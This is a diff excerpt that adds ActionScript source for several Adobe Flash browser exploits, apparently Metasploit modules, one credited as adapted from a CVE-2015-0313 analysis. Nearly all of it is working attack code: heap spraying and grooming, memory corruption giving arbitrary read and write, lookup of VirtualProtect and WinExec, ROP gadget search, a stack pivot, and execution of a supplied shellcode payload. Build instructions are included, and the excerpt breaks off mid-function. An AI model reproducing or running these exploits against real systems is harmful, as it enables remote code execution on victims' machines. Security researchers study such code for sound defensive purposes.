|
||||
trace(str);
|
||||
|
||||
if(ExternalInterface.available){
|
||||
ExternalInterface.call("alert", str);
|
||||
}
|
||||
}*/
|
||||
|
||||
public function Main()
|
||||
{
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
payload = b64.toByteArray().toString();
|
||||
|
||||
for (var i:uint = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
|
||||
ba.compress()
|
||||
ApplicationDomain.currentDomain.domainMemory = ba
|
||||
ba.position = 0x200
|
||||
for (i = 0; i < ba.length - ba.position; i++) ba.writeByte(00)
|
||||
try {
|
||||
ba.uncompress()
|
||||
} catch (e:Error) { }
|
||||
uv[0] = new Vector.<uint>(0x3E0)
|
||||
casi32(0, 0x3e0, 0xffffffff)
|
||||
|
||||
for (i = 0; i < spray.length; i++) {
|
||||
spray[i] = new Vector.<Object>(1014)
|
||||
spray[i][0] = ba
|
||||
spray[i][1] = this
|
||||
}
|
||||
|
||||
/*
|
||||
0:008> dd 5ca4000
|
||||
05ca4000 ffffffff 05042000 05ca4000 00000000
|
||||
05ca4010 00000000 00000000 00000000 00000000
|
||||
05ca4020 00000000 00000000 00000000 00000000
|
||||
05ca4030 00000000 00000000 00000000 00000000
|
||||
05ca4040 00000000 00000000 00000000 00000000
|
||||
05ca4050 00000000 00000000 00000000 00000000
|
||||
05ca4060 00000000 00000000 00000000 00000000
|
||||
05ca4070 00000000 00000000 00000000 00000000
|
||||
*/
|
||||
uv[0][0] = uv[0][0x2000003] - 0x18 - 0x2000000 * 4
|
||||
//log("uv[0][0]: " + uv[0][0].toString(16));
|
||||
|
||||
ba.endian = "littleEndian"
|
||||
ba.length = 0x500000
|
||||
var buffer:uint = vector_read(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8) + 0x100000
|
||||
//log("buffer: " + buffer.toString(16));
|
||||
|
||||
var main:uint = uv[0][0x2000009] - 1
|
||||
//log("main: " + main.toString(16));
|
||||
|
||||
var vtable:uint = vector_read(main)
|
||||
//log("vtable: " + vtable.toString(16));
|
||||
|
||||
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8)
|
||||
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 16, 0xffffffff)
|
||||
byte_write(uv[0][0])
|
||||
|
||||
var flash:uint = base(vtable)
|
||||
//log("flash: " + flash.toString(16));
|
||||
|
||||
// Because of the sandbox, when you try to solve kernel32
|
||||
// from the flash imports on IE, it will solve ieshims.dll
|
||||
var ieshims:uint = module("kernel32.dll", flash)
|
||||
//log("ieshims: " + ieshims.toString(16));
|
||||
|
||||
var kernel32:uint = module("kernel32.dll", ieshims)
|
||||
//log("kernel32: " + kernel32.toString(16));
|
||||
|
||||
var ntdll:uint = module("ntdll.dll", kernel32)
|
||||
//log("ntdll: " + ntdll.toString(16));
|
||||
|
||||
var urlmon:uint = module("urlmon.dll", flash)
|
||||
//log("urlmon: " + urlmon.toString(16));
|
||||
|
||||
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
||||
//log("virtualprotect: " + virtualprotect.toString(16));
|
||||
|
||||
var winexec:uint = procedure("WinExec", kernel32)
|
||||
//log("winexec: " + winexec.toString(16));
|
||||
|
||||
var urldownloadtofile:uint = procedure("URLDownloadToFileA", urlmon);
|
||||
//log("urldownloadtofile: " + urldownloadtofile.toString(16));
|
||||
|
||||
var getenvironmentvariable:uint = procedure("GetEnvironmentVariableA", kernel32)
|
||||
//log("getenvironmentvariable: " + getenvironmentvariable.toString(16));
|
||||
|
||||
var setcurrentdirectory:uint = procedure("SetCurrentDirectoryA", kernel32)
|
||||
//log("setcurrentdirectory: " + setcurrentdirectory.toString(16));
|
||||
|
||||
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
||||
//log("xchgeaxespret: " + xchgeaxespret.toString(16));
|
||||
|
||||
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
||||
//log("xchgeaxesiret: " + xchgeaxesiret.toString(16));
|
||||
|
||||
// CoE
|
||||
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
||||
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
||||
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
|
||||
byte_write(buffer+0x200, payload);
|
||||
byte_write(buffer + 0x20070, xchgeaxespret)
|
||||
byte_write(buffer + 0x20000, xchgeaxesiret)
|
||||
byte_write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
byte_write(0, winexec)
|
||||
byte_write(0, buffer + 0x30000)
|
||||
byte_write(0, 0x1000)
|
||||
byte_write(0, 0x40)
|
||||
byte_write(0, buffer + 0x100)
|
||||
|
||||
// WinExec
|
||||
byte_write(0, buffer + 0x30000)
|
||||
byte_write(0, buffer + 0x200)
|
||||
byte_write(0)
|
||||
|
||||
byte_write(main, buffer + 0x20000)
|
||||
toString()
|
||||
}
|
||||
|
||||
private function vector_write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] = value : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1] = value
|
||||
}
|
||||
|
||||
private function vector_read(addr:uint):uint
|
||||
{
|
||||
return addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1]
|
||||
}
|
||||
|
||||
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
if (addr) ba.position = addr
|
||||
if (value is String) {
|
||||
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||
if (zero) ba.writeByte(0)
|
||||
} else ba.writeUnsignedInt(value)
|
||||
}
|
||||
|
||||
private function byte_read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
ba.position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return ba.readUnsignedInt()
|
||||
case "word":
|
||||
return ba.readUnsignedShort()
|
||||
case "byte":
|
||||
return ba.readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function base(addr:uint):uint
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (byte_read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
|
||||
var i:int = -1
|
||||
while (true) {
|
||||
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
ba.position = addr + entry
|
||||
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
|
||||
if (dll_name == name.toUpperCase()) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
|
||||
}
|
||||
|
||||
private function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = byte_read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
||||
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = byte_read(addressOfNames + i * 4)
|
||||
ba.position = addr + entry
|
||||
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,207 @@
|
|||
// Build how to:
|
||||
// 1. Download the AIRSDK, and use its compiler.
|
||||
// 2. Be support to support 16.0 as target-player (flex-config.xml).
|
||||
// 3. Download the Flex SDK (4.6)
|
||||
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 5. Build with: mxmlc -o msf.swf Main.as
|
||||
|
||||
// Original code by @hdarwin89 // http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/
|
||||
// Modified to be used from msf
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite
|
||||
import flash.display.LoaderInfo
|
||||
import flash.events.Event
|
||||
import flash.utils.ByteArray
|
||||
import flash.system.Worker
|
||||
import flash.system.WorkerDomain
|
||||
import flash.system.MessageChannel
|
||||
import flash.system.ApplicationDomain
|
||||
import avm2.intrinsics.memory.casi32
|
||||
import mx.utils.Base64Decoder
|
||||
|
||||
public class Main extends Sprite
|
||||
{
|
||||
private var ov:Vector.<Object> = new Vector.<Object>(25600)
|
||||
private var uv:Vector.<uint> = new Vector.<uint>
|
||||
private var ba:ByteArray = new ByteArray()
|
||||
private var worker:Worker
|
||||
private var mc:MessageChannel
|
||||
private var b64:Base64Decoder = new Base64Decoder()
|
||||
private var payload:String = ""
|
||||
|
||||
public function Main()
|
||||
{
|
||||
if (Worker.current.isPrimordial) mainThread()
|
||||
else workerThread()
|
||||
}
|
||||
|
||||
private function mainThread():void
|
||||
{
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
payload = b64.toByteArray().toString()
|
||||
|
||||
ba.length = 0x1000
|
||||
ba.shareable = true
|
||||
for (var i:uint = 0; i < ov.length; i++) {
|
||||
ov[i] = new Vector.<Object>(1014)
|
||||
ov[i][0] = ba
|
||||
ov[i][1] = this
|
||||
}
|
||||
for (i = 0; i < ov.length; i += 2) delete(ov[i])
|
||||
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
|
||||
mc = worker.createMessageChannel(Worker.current)
|
||||
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
|
||||
worker.setSharedProperty("mc", mc)
|
||||
worker.setSharedProperty("ba", ba)
|
||||
ApplicationDomain.currentDomain.domainMemory = ba
|
||||
worker.start()
|
||||
}
|
||||
|
||||
private function workerThread():void
|
||||
{
|
||||
var ba:ByteArray = Worker.current.getSharedProperty("ba")
|
||||
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
|
||||
ba.clear()
|
||||
ov[0] = new Vector.<uint>(1022)
|
||||
mc.send("")
|
||||
while (mc.messageAvailable);
|
||||
ov[0][0] = ov[0][0x403] - 0x18 - 0x1000
|
||||
ba.length = 0x500000
|
||||
var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + 0x100000
|
||||
var main:uint = ov[0][0x409] - 1
|
||||
var vtable:uint = vector_read(main)
|
||||
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8)
|
||||
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff)
|
||||
mc.send(ov[0][0].toString() + "/" + buffer.toString() + "/" + main.toString() + "/" + vtable.toString())
|
||||
}
|
||||
|
||||
private function onMessage(e:Event):void
|
||||
{
|
||||
casi32(0, 1022, 0xFFFFFFFF)
|
||||
if (ba.length != 0xffffffff) mc.receive()
|
||||
else {
|
||||
ba.endian = "littleEndian"
|
||||
var data:Array = (mc.receive() as String).split("/")
|
||||
byte_write(parseInt(data[0]))
|
||||
var buffer:uint = parseInt(data[1]) as uint
|
||||
var main:uint = parseInt(data[2]) as uint
|
||||
var vtable:uint = parseInt(data[3]) as uint
|
||||
var flash:uint = base(vtable)
|
||||
var ieshims:uint = module("winmm.dll", flash)
|
||||
var kernel32:uint = module("kernel32.dll", ieshims)
|
||||
|
||||
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
||||
var winexec:uint = procedure("WinExec", kernel32)
|
||||
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
||||
|
||||
//CoE
|
||||
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
||||
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
||||
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
byte_write(buffer+0x200, payload);
|
||||
byte_write(buffer + 0x20070, xchgeaxespret)
|
||||
byte_write(buffer + 0x20000, xchgeaxesiret)
|
||||
byte_write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
byte_write(0, winexec)
|
||||
byte_write(0, buffer + 0x30000)
|
||||
byte_write(0, 0x1000)
|
||||
byte_write(0, 0x40)
|
||||
byte_write(0, buffer + 0x100)
|
||||
|
||||
// WinExec
|
||||
byte_write(0, buffer + 0x30000)
|
||||
byte_write(0, buffer + 0x200)
|
||||
byte_write(0)
|
||||
|
||||
byte_write(main, buffer + 0x20000)
|
||||
toString()
|
||||
}
|
||||
}
|
||||
|
||||
private function vector_write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
addr > ov[0][0] ? ov[0][(addr - uv[0]) / 4 - 2] = value : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] = value
|
||||
}
|
||||
|
||||
private function vector_read(addr:uint):uint
|
||||
{
|
||||
return addr > ov[0][0] ? ov[0][(addr - ov[0][0]) / 4 - 2] : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1]
|
||||
}
|
||||
|
||||
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
if (addr) ba.position = addr
|
||||
if (value is String) {
|
||||
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||
if (zero) ba.writeByte(0)
|
||||
} else ba.writeUnsignedInt(value)
|
||||
}
|
||||
|
||||
private function byte_read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
ba.position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return ba.readUnsignedInt()
|
||||
case "word":
|
||||
return ba.readUnsignedShort()
|
||||
case "byte":
|
||||
return ba.readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function base(addr:uint):uint
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (byte_read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
|
||||
while (true) {
|
||||
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
ba.position = addr + entry
|
||||
if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
|
||||
}
|
||||
|
||||
private function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = byte_read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = byte_read(addressOfNames + i * 4)
|
||||
ba.position = addr + entry
|
||||
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,704 @@
|
|||
package
|
||||
{
|
||||
/*
|
||||
To compile (AIRSDK + Flex):
|
||||
mxmlc Main.as -o Main.swf -strict=false
|
||||
*/
|
||||
|
||||
import mx.utils.Base64Decoder;
|
||||
import flash.display.*;
|
||||
import flash.utils.ByteArray;
|
||||
import flash.external.ExternalInterface;
|
||||
import mx.utils.Base64Decoder;
|
||||
|
||||
public class Main extends Sprite
|
||||
{
|
||||
private var i:int;
|
||||
private var j:int;
|
||||
|
||||
private const OP_END:int = 0;
|
||||
private const OP_ANY:int = 12;
|
||||
private const OP_KET:int = 84;
|
||||
private const OP_CBRA:int = 94;
|
||||
private const OP_FAIL:int = 108;
|
||||
private const OP_ACCEPT:int = 109;
|
||||
|
||||
private var testSubject:String = 'c01db33f';
|
||||
private var subject:String = '';
|
||||
|
||||
private var count_576:int = 128;
|
||||
private var pre_576:int = 4;
|
||||
private var groom_576:Array = new Array(count_576);
|
||||
|
||||
private var count_re:int = 8;
|
||||
private var source_re:Vector.<String> = new Vector.<String>(count_re);
|
||||
private var compiled_re:Vector.<RegExp> = new Vector.<RegExp>(count_re);
|
||||
private var subjects:Vector.<String> = new Vector.<String>(count_re);
|
||||
|
||||
private var count_504:int = 256 * 3;
|
||||
private var pre_504:int = 30;
|
||||
private var groom_504:Array = new Array(count_504);
|
||||
|
||||
private var junk:Array = new Array();
|
||||
private var junk_idx:int = 0;
|
||||
|
||||
public static function Debug(message:String):void {
|
||||
ExternalInterface.call('console.log', message);
|
||||
}
|
||||
|
||||
public function MakeRegex(c:String):String {
|
||||
var i:int;
|
||||
var r:String = '(c01db33f|^(' + c + '*)'
|
||||
for (i = 0; i < 39; ++i) {
|
||||
r += '(A)';
|
||||
}
|
||||
r += '\\'
|
||||
r += '41';
|
||||
for (i = 0; i < 20; ++i) {
|
||||
r += 'A';
|
||||
}
|
||||
r += '('
|
||||
r += '\\'
|
||||
r += 'c'
|
||||
r += '\uc080'
|
||||
r += '*)?(?70))';
|
||||
return r;
|
||||
}
|
||||
|
||||
public function MakeSubject(c:String):String {
|
||||
var i:int;
|
||||
var s:String = c;
|
||||
for (i = 0; i < 0x80 - 0x3d; ++i) {
|
||||
s += c;
|
||||
}
|
||||
for (i = 0; i < 60; ++i) {
|
||||
s += 'A';
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
public function MakeByteArray(size:int):ByteArray {
|
||||
var i:int = 0;
|
||||
var b:ByteArray = new ByteArray();
|
||||
b.length = size;
|
||||
for (i = 0; i < size; ++i) {
|
||||
b.writeByte(0x23);
|
||||
}
|
||||
return b;
|
||||
}
|
||||
|
||||
public function Initialise():void {
|
||||
for (i = 0; i < 8; ++i) {
|
||||
subjects[i] = MakeSubject(i.toString());
|
||||
source_re[i] = MakeRegex(i.toString());
|
||||
}
|
||||
}
|
||||
|
||||
public function CompileRegex():RegExp {
|
||||
|
||||
// heap groom the block of regex bytecode we want to follow our
|
||||
// legitimate bytecode.
|
||||
|
||||
for (i = 0; i < count_576; ++i) {
|
||||
var b:ByteArray = new ByteArray();
|
||||
b.length = 576;
|
||||
|
||||
// regex nop sled :-p
|
||||
for (j = 0; j < 500; ++j) {
|
||||
b.writeByte(OP_ANY);
|
||||
}
|
||||
|
||||
// this is the capturing bracket that find_bracket will be
|
||||
// looking for to match (?70)
|
||||
b.writeByte(OP_CBRA);
|
||||
b.writeByte(1); // WORD length of group (only != 0)
|
||||
b.writeByte(0);
|
||||
b.writeByte(0); // WORD number of group (must == 70)
|
||||
b.writeByte(70);
|
||||
|
||||
// we use OP_CBRA to write the current match length at one
|
||||
// dword past the end of our offset_vector.
|
||||
//
|
||||
// this is due to another bug in pcre_exec where it is
|
||||
// assumed that the group number is
|
||||
// 0 < number < md->offset_max
|
||||
// and it is only checked that group < md->offset_max, and
|
||||
// then indexing is done backwards frm the end of the buffer,
|
||||
// so a group number of 0 lets us index one dword past the end
|
||||
// of the offset_vector.
|
||||
|
||||
b.writeByte(OP_CBRA);
|
||||
b.writeByte(0); // WORD length of group
|
||||
b.writeByte(0);
|
||||
b.writeByte(0); // WORD number of group
|
||||
b.writeByte(0);
|
||||
|
||||
// we're done with executing this regex for now.
|
||||
b.writeByte(OP_ACCEPT); // yay a match :-)
|
||||
|
||||
b.writeByte(OP_KET); // closing KET for group (?70)
|
||||
b.writeByte(OP_KET); // closing KET for exploit group
|
||||
|
||||
b.writeByte(OP_END);
|
||||
|
||||
b.writeByte(0);
|
||||
|
||||
groom_576[i] = b;
|
||||
}
|
||||
|
||||
// make some gaps
|
||||
for (i = 0; i < count_576; i += 2) {
|
||||
groom_576[i].length = 0;
|
||||
groom_576[i] = null;
|
||||
}
|
||||
|
||||
for (i = 0; i < (pre_576 * 2); i += 2) {
|
||||
groom_576[i] = MakeByteArray(576);
|
||||
}
|
||||
|
||||
for (i = 0; i < count_re; ++i) {
|
||||
try {
|
||||
Debug('[*] compiling regex');
|
||||
var re:RegExp = new RegExp(source_re[i]);
|
||||
compiled_re[i] = re;
|
||||
var match:Object = re.exec(testSubject);
|
||||
if (match != null && match[0] == 'c01db33f') {
|
||||
Debug('[*] compiled successfully');
|
||||
subject = subjects[i];
|
||||
return re;
|
||||
}
|
||||
else {
|
||||
// that allocation was no good, fill with a bytearray
|
||||
junk[junk_idx++] = MakeByteArray(576);
|
||||
}
|
||||
} catch (error:Error) {
|
||||
Debug('[*] error compiling regex: ' + error.message);
|
||||
}
|
||||
|
||||
Debug('[*] failed...');
|
||||
}
|
||||
|
||||
Debug('[*] failed first groom');
|
||||
return null;
|
||||
}
|
||||
|
||||
public function negative(i:uint):uint {
|
||||
return (~i) + 1;
|
||||
}
|
||||
|
||||
public function CorruptVector(r:RegExp):Vector.<uint> {
|
||||
|
||||
var v:Vector.<uint> = null;
|
||||
var uv:Vector.<uint> = null;
|
||||
var ov:Vector.<Object> = null;
|
||||
|
||||
for (i = 0; i < count_504; ++i) {
|
||||
v = new Vector.<uint>(124);
|
||||
v[0] = 0xc01db33f
|
||||
v[1] = i;
|
||||
for (j = 2; j < 124; ++j) {
|
||||
v[j] = 0x88888888;
|
||||
}
|
||||
groom_504[i] = v;
|
||||
}
|
||||
|
||||
for (i = 0; i < count_504; i += 3) {
|
||||
groom_504[i].length = 0;
|
||||
groom_504[i] = null;
|
||||
}
|
||||
|
||||
for (i = 0; i < pre_504; i += 1) {
|
||||
junk[junk_idx++] = MakeByteArray(504);
|
||||
}
|
||||
|
||||
v = null;
|
||||
for (i = 0; i < 128; i += 3) {
|
||||
try {
|
||||
Debug('[*] executing regex');
|
||||
r.exec(subject);
|
||||
} catch (error:Error) {
|
||||
Debug('[*] regex execution failed: ' + error.message);
|
||||
}
|
||||
|
||||
for (j = 1; j < count_504; j += 3) {
|
||||
if (groom_504[j].length != 124) {
|
||||
Debug('[*] corrupted vector');
|
||||
v = groom_504[j];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (v != null) {
|
||||
break;
|
||||
}
|
||||
|
||||
Debug('[*] failed...');
|
||||
junk[junk_idx++] = MakeByteArray(504);
|
||||
junk[junk_idx++] = MakeByteArray(504);
|
||||
}
|
||||
|
||||
// at this point we have a vector with a corrupt length, hopefully
|
||||
// followed by another vector of legitimate length.
|
||||
|
||||
if (v == null) {
|
||||
Debug('[*] failed to groom for vector corruption');
|
||||
return null;
|
||||
}
|
||||
|
||||
if (v[126] != 0xc01db33f) {
|
||||
Debug('[*] magic check failed!');
|
||||
}
|
||||
|
||||
// read out the index of the following vector; this is the vector
|
||||
// that we will use for the rest of the exploit
|
||||
|
||||
i = v[127];
|
||||
uv = groom_504[i];
|
||||
uv.fixed = true;
|
||||
|
||||
// corrupt the length of uv so that we can access all of memory :)
|
||||
|
||||
v[124] = 0xffffffff;
|
||||
|
||||
// first fix the length of the original corrupted array so we don't
|
||||
// need to worry about it any more...
|
||||
|
||||
uv[negative(0x80)] = 0x6e;
|
||||
|
||||
// now read back 0x1f8 bytes before the first vector; this must be
|
||||
// inside the original offset_vector that we overflowed, (so it is
|
||||
// guaranteed to be safe) and this buffer is directly free'd at the
|
||||
// end of pcre_exec. as it's quite a large allocation, we can be
|
||||
// quite sure that it is still on the freelist and we can steal the
|
||||
// freelist pointer from it, which will likely point to the block
|
||||
// after our second vector.
|
||||
|
||||
uv[0] = uv[negative(0xfe)];
|
||||
|
||||
// we really can't do much sanity checking here; all we know is
|
||||
// that this should be a pointer, and it will be 8 byte aligned.
|
||||
|
||||
if ((uv[0] & 0xf) != 0x8 && (uv[0] & 0xf) != 0 && uv[0] > 0x10000) {
|
||||
Debug('[*] freelist ptr sanity check failed!');
|
||||
uv[negative(2)] = 0x6e;
|
||||
return null;
|
||||
}
|
||||
|
||||
// uv[0] == address of our vector.<uint>'s buffer
|
||||
|
||||
uv[0] -= 0x1f0;
|
||||
|
||||
return uv;
|
||||
}
|
||||
|
||||
public function FindGCHeap(m:Memory):uint {
|
||||
|
||||
// nothing much to say about this; we know that there's a
|
||||
// FixedBlock at the start of the page that our vector is allocated
|
||||
// on, and that holds a pointer back to the global GCHeap, which is
|
||||
// a static singleton in the flash module. I've copied in the class
|
||||
// declarations for the structures being traversed, for reference.
|
||||
|
||||
var fixed_block:uint = m.vector_base & 0xfffff000;
|
||||
|
||||
/*
|
||||
struct FixedBlock
|
||||
{
|
||||
void* firstFree; // First object on the block's free list
|
||||
void* nextItem; // First object free at the end of the block
|
||||
FixedBlock* next; // Next block on the list of blocks (m_firstBlock list in the allocator)
|
||||
FixedBlock* prev; // Previous block on the list of blocks
|
||||
uint16_t numAlloc; // Number of items allocated from the block
|
||||
uint16_t size; // Size of objects in the block
|
||||
FixedBlock *nextFree; // Next block on the list of blocks with free items (m_firstFree list in the allocator)
|
||||
FixedBlock *prevFree; // Previous block on the list of blocks with free items
|
||||
-------> FixedAlloc *alloc; // The allocator that owns this block
|
||||
char items[1];l // Memory for objects starts here
|
||||
};
|
||||
*/
|
||||
|
||||
var fixed_alloc:uint = m.read_dword(fixed_block + 0x1c);
|
||||
|
||||
/*
|
||||
class FixedAlloc
|
||||
{
|
||||
private:
|
||||
-------> GCHeap *m_heap; // The heap from which we obtain memory
|
||||
uint32_t m_itemsPerBlock; // Number of items that fit in a block
|
||||
uint32_t m_itemSize; // Size of each individual item
|
||||
|
||||
FixedBlock* m_firstBlock; // First block on list of free blocks
|
||||
FixedBlock* m_lastBlock; // Last block on list of free blocks
|
||||
FixedBlock* m_firstFree; // The lowest priority block that has free items
|
||||
|
||||
size_t m_numBlocks; // Number of blocks owned by this allocator
|
||||
#ifdef MMGC_MEMORY_PROFILER
|
||||
size_t m_totalAskSize; // Current total amount of memory requested from this allocator
|
||||
#endif
|
||||
bool const m_isFixedAllocSafe; // true if this allocator's true type is FixedAllocSafe
|
||||
}
|
||||
*/
|
||||
|
||||
var gcheap:uint = m.read_dword(fixed_alloc);
|
||||
|
||||
return gcheap;
|
||||
}
|
||||
|
||||
public function FindPwned(m:Memory, gcheap:uint):uint {
|
||||
|
||||
// we're going to walk the heap to find it because we don't like
|
||||
// being crashy. a lazier approach would be to spray a ton of
|
||||
// objects and scan forward from our array; this is more reliable.
|
||||
|
||||
/*
|
||||
class GCHeap
|
||||
{
|
||||
public:
|
||||
-------> Region *lastRegion;
|
||||
|
||||
private:
|
||||
...
|
||||
};
|
||||
*/
|
||||
|
||||
// I have no idea why this is at offset 4. GCheap is not virtual
|
||||
// so perhaps the Flash code has changed since the github avmplus
|
||||
// release.
|
||||
|
||||
var region:uint = m.read_dword(gcheap + 4);
|
||||
|
||||
/*
|
||||
class Region
|
||||
{
|
||||
public:
|
||||
Region *prev;
|
||||
char *baseAddr;
|
||||
char *reserveTop;
|
||||
char *commitTop;
|
||||
size_t blockId;
|
||||
};
|
||||
*/
|
||||
|
||||
while (region != 0) {
|
||||
var region_base:uint = m.read_dword(region + 4);
|
||||
var region_rtop:uint = m.read_dword(region + 8);
|
||||
var region_top:uint = m.read_dword(region + 12);
|
||||
|
||||
if (region_rtop & 1 != 0) {
|
||||
Debug('[*] this browser already got pwned, go away');
|
||||
return 0;
|
||||
}
|
||||
|
||||
m.write_dword(region + 8, region_rtop + 1);
|
||||
|
||||
// TODO: we can optimise here as we know the alignment of the
|
||||
// magic values.
|
||||
|
||||
Debug(' [-] ' + region_base.toString(16) + ' ' + region_top.toString(16) + '[' + region_rtop.toString(16) + ']');
|
||||
|
||||
for (var ptr:uint = region_base; ptr < region_top - 16; ptr += 4) {
|
||||
if (m.read_dword(ptr) == 0xdecafbad
|
||||
&& m.read_dword(ptr + 4) == 0xdecafbad) {
|
||||
|
||||
// we have found our two magic values
|
||||
return ptr - 0x10;
|
||||
}
|
||||
}
|
||||
|
||||
// region = region->prev;
|
||||
region = m.read_dword(region);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
public function WriteShellcode(v:Vector.<uint>, i:uint, ptr:uint, fun:uint):void {
|
||||
var myshellcode:Array = GetPayload();
|
||||
